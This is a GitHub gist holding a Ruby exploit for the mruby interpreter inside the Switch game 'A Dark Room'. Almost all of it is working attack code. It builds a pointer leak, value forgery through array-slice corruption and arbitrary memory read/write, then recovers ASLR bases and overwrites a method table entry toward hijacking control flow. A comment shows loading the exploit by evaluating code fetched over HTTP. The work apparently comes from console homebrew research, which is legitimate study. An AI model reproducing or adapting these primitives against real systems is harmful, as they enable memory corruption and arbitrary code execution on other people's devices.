Skip to content

Instantly share code, notes, and snippets.

@misson20000
Created May 16, 2019 21:15
Show Gist options
  • Save misson20000/be4b5589b2cb2f78c61a9c33bca924ad to your computer and use it in GitHub Desktop.
Save misson20000/be4b5589b2cb2f78c61a9c33bca924ad to your computer and use it in GitHub Desktop.
Exploit for A Dark Room on the Switch
# load with $ffi.eval($ffi.http_get("http://host.domain/path/to/exploit.rb"))
if $ffi
# if we're running under A Dark Room
$text = []
def tick(g)
y = 200
$text.each do |t|
g.labels << [20, y, t, 1, 0, 0, 0, 0]
y+= 30
end
end
def puts(t)
$text.push(t.to_s)
end
end
class Array
def to_s(leak=nil)
if leak == :yes_please_leak_my_address
super
else
inspect
end
end
end
class Exploit
attr_reader :arb_string
attr_reader :mrb_state_ptr
def leak_ptr(object)
if @pointer_leaker_array && @pointer_leaker_string then
@pointer_leaker_array[0] = object
return ("a" + @pointer_leaker_string)[1, 8].unpack("Q<")[0]
else
raise "pointer leaker not built yet"
end
end
def leak_ptr_base(array)
str = array.to_s(:yes_please_leak_my_address).split(":")[1]
str[0, str.length-1].to_i(16)
end
def check_leak_ptr
# perform a few tests to make sure our fast/safe pointer leaker actually works...
ary = [1]
{3 => 3,
4 => 4,
ary => leak_ptr_base(ary)}.each_pair do |value, expected_ptr|
leaked = leak_ptr(value)
if leaked != expected_ptr
raise "pointer leaker check failed: expected leak_ptr(#{value}) => 0x#{expected_ptr.to_s(16)}, got 0x#{leaked.to_s(16)}"
end
end
@built_pointer_leaker = true
end
MRB_TT_ARRAY = 14
MRB_TT_STRING = 16
def forge_value(ptr, type)
# []= is implemented as self.replace([pre, rep, post].join), which reallocates
# so we have to use setbyte
[ptr, type].pack("Q<Q<").bytes.each_with_index do |b, i|
@value_forger_string.setbyte(i, b)
end
([] + @value_forger_array).first
end
def forge_value_base(ptr, type)
Forger.new([[ptr, type].pack("Q<*")]).forge.first
end
def check_forge_value
if forge_value(0xabcd, 3) != 0xabcd then
raise "forge_value(0xabcd, 3) failed"
end
if forge_value(0, 2) != true then
raise "forge_value(0, 2) failed"
end
@built_value_forger = true
end
# need to be careful not to accidentally share @arb_string
def arb_read(ptr, size)
str = String.new
while size > 0
read_size = [23, size].min
str+= @arb_string[ptr, read_size]
size-= read_size
ptr+= read_size
end
str
end
def arb_write(ptr, data)
data.bytes.each_with_index do |b, i|
@arb_string.setbyte(ptr + i, b)
end
end
def check_arb_string
test_str = "yes"
test_str_object = arb_read(leak_ptr(test_str), 48)
if test_str_object[0] != MRB_TT_STRING.chr then
raise "arb string failed: test str type mismatch"
end
if test_str_object[8, 8].unpack("Q<")[0] != leak_ptr(String) then
raise "arb string failed: test str class mismatch"
end
if test_str_object[24, 4] != "yes\x00" then
raise "arb string failed: test str content mismatch"
end
arb_write(leak_ptr(test_str) + 24, "wow")
if test_str != "wow" then
puts test_str
raise "arb string write failed: test str content not overridden"
end
@built_arb_string = true
end
def run
if !@built_pointer_leaker
puts "building pointer leaker"
@pointer_leaker_array = Array.new(8, nil)
@value_forger_string = 0.chr * 24 # can't be embeded or we'll confuse array
@pointer_leaker_string = forge_value_base(leak_ptr_base(@pointer_leaker_array), MRB_TT_STRING)
check_leak_ptr
puts "built pointer leaker"
end
if !@built_value_forger
puts "building value forger"
@value_forger_array = forge_value_base(leak_ptr(@value_forger_string), MRB_TT_ARRAY)
check_forge_value
puts "built value forger"
end
if !@built_arb_string
puts "building arb string"
# contents of this string look like an RString that spans most of the address space
@exploit_string = [MRB_TT_STRING, 0, 0, 0, leak_ptr(String), 0, 0xffffffffffff, 0xffffffffffff, 0].pack("CCCCx4Q<*")
exploit_string_addr = leak_ptr(@exploit_string)
# This should be an embedded string. We offset the pointer one byte back to miss the embedded
# flag and read it out as a regular heap string using exploit_string's RString as the string
# contents.
confuser_string = [2, 2, exploit_string_addr].pack("Q<L<x3Q<")[0, 23]
confused_string = forge_value(leak_ptr(confuser_string)-1, MRB_TT_STRING)
confused_string_copy = ("a" + confused_string)
exploit_string_object = ("a" + confused_string)[1, 48]
if exploit_string_object[8, 8].unpack("Q<")[0] != leak_ptr(String) then
raise "exploit_string_object class mismatch"
end
if exploit_string_object[24, 8].unpack("Q<")[0] != @exploit_string.length then
raise "exploit_string_object length mismatch"
end
# find where it's storing its contents on the heap
exploit_string_content_ptr = exploit_string_object[40, 8].unpack("Q<")[0]
@arb_string = forge_value(exploit_string_content_ptr, MRB_TT_STRING)
check_arb_string
end
puts "built all primitives"
@mrb_state_ptr = leak_ptr(Object) - 0xcfd0 # these allocations are very predictable
if arb_read(@mrb_state_ptr + 0x48, 8*8) != [
leak_ptr(Object),
leak_ptr(Class),
leak_ptr(Module),
leak_ptr(Proc),
leak_ptr(String),
leak_ptr(Array),
leak_ptr(Hash),
leak_ptr(Range)].pack("Q<*") then # this is probably enough
raise "mrb state guess was wrong?"
end
end
class Forger
def initialize(value_strings)
@ary = Array.new(1000, 1)
@value_strings = value_strings
# preallocate for sanity
@values = Array.new(value_strings.length, nil)
end
def to_int
# TODO: adjust slide to detect misalignments?
template = [3].pack("Q<") + @value_strings.join + 32.times.map do |i|
[1000 + i, 3].pack("Q<*")
end.join
# shrink array down to 1/5 of its size to trigger capa change
@ary.slice!(0, (@ary.length * 4 / 5) - 1)
# shrink again to trigger capacity change (ary_shrink_capa decides whether to shrink using pre-shrink length)
@ary.slice!(0, 1)
@strings = 10000.times.map do |i|
[3].pack("Q<") + template # for uniqueness
end
0
end
def forge
corrupt = @ary.slice!(self, @ary.length)
corrupt.reverse_each.with_index do |e, j|
i = corrupt.length-j-1
if e == 1 then
next
end
if e >= 1000 then
slide_target = i - (e-1000)
@value_strings.length.times do |i|
@values[i] = corrupt[slide_target - @value_strings.length + i]
end
return @values
else
raise "wat: #{e}"
end
end
raise "couldn't find slide"
end
end
end
begin
if !$exploit then
$exploit = Exploit.new
end
$exploit.run
class Fixnum
def arbcall_helper
puts "wrong"
end
end
fixnum_class_ptr = $exploit.leak_ptr(Fixnum)
fixnum_mt_ptr = $exploit.arb_read(fixnum_class_ptr + 32, 8).unpack("Q<")[0]
mt_n_buckets, mt_size, mt_n_occupied, mt_ed_flags, mt_keys, mt_values = $exploit.arb_read(fixnum_mt_ptr, 40).unpack("L<3x4Q<3")
symbols = $exploit.arb_read(mt_keys, mt_n_buckets*4).unpack("L<*")
fixnum_index_arb = symbols.find_index($exploit.leak_ptr(:arbcall_helper) & 0xffffffff)
fixnum_index_eq = symbols.find_index($exploit.leak_ptr(:divmod) & 0xffffffff)
if fixnum_index_arb == nil then
raise "couldn't find :arbcall_helper"
end
if fixnum_index_eq == nil then
raise "couldn't find :divmod"
end
aslr_base = $exploit.arb_read(mt_values + (16*fixnum_index_eq) + 8, 8).unpack("Q<")[0] - 0x74200
jmpbuf_ptr = $exploit.arb_read($exploit.mrb_state_ptr, 8).unpack("Q<")[0]
sp = $exploit.arb_read(jmpbuf_ptr + 0x68, 8).unpack("Q<")[0]
puts "sp: 0x" + sp.to_s(16)
rop_return_x30 = aslr_base + 0x85aec
$exploit.arb_write(mt_values + (16*fixnum_index_arb), [1, 0x1337000].pack("Cx7Q<"))
puts "aslr base: 0x" + aslr_base.to_s(16)
sdk_aslr_base = $exploit.arb_read(aslr_base + 0x25c8d0, 8).unpack("Q<")[0] - 0x4f79b0
puts "sdk aslr base: 0x" + sdk_aslr_base.to_s(16)
puts "offset: 0x" + (sdk_aslr_base - aslr_base).to_s(16)
first_stack_pivot_struc = []
#123.arbcall_helper
rescue => e
puts e.inspect
puts e.backtrace
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment